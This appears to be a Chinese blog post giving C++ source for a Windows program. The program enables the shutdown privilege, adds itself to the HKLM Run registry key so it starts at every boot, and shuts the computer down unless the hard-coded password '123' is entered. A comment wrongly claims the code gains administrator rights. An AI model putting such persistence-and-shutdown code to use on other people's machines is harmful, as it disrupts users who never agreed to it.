提升权限

#include "stdafx.h"
#include <stdio.h>
#include <iomanip>
#include <iostream>
#include <Windows.h>
using namespace std;

//获取电脑管理员权限
void GetPrivilege()
{

	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;
	if(!OpenProcessToken(
		GetCurrentProcess(),
		TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
		&hToken))
		printf("OpenProcessToken failed");

	LookupPrivilegeValue(NULL,
		SE_SHUTDOWN_NAME,
		&tkp.Privileges[0].Luid);
	tkp.PrivilegeCount=1;
	tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

	AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
	if(GetLastError()!=ERROR_SUCCESS)
		printf("AdjustTokenPrivileges");
}


//打开注册表 RegOpenKeyEx
//修改注册表的值 RegSetValueEx

void AutoRun()
{
	HKEY hKey={0};
	DWORD err=RegOpenKeyExW(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
	if(err!=ERROR_SUCCESS)
	{
		cout<<"RegOPenKeyExW failed"<<endl;
	}

	char szPath[MAXBYTE]={0};
	GetModuleFileNameA(NULL,szPath,MAXBYTE);
	err=RegSetValueExA(hKey,"AutoRun",0,REG_SZ,(byte*)szPath,sizeof(szPath));
	if(err!=ERROR_SUCCESS)
	{
		cout<<"RegSetValueEx failed"<<endl;
	}
}

int _tmain(int argc, _TCHAR* argv[])    
{
	GetPrivilege();
	cout<<"输入开机密码,否则关机重启"<<'\n'<<"密码:";
	int nPassword=123;
	cin>>nPassword;
	AutoRun();
	if(nPassword!=123)
	{
		ExitWindowsEx(EWX_SHUTDOWN,0);
		//cout<<"我很帅气"<<endl;
	}
	system("pause");
	return 0;
}

  

上一篇:mysql – ERROR 1045(28000):拒绝访问用户’用户名’@’%'(使用密码:YES)


下一篇:【Win 10应用开发】认识一下UAP项目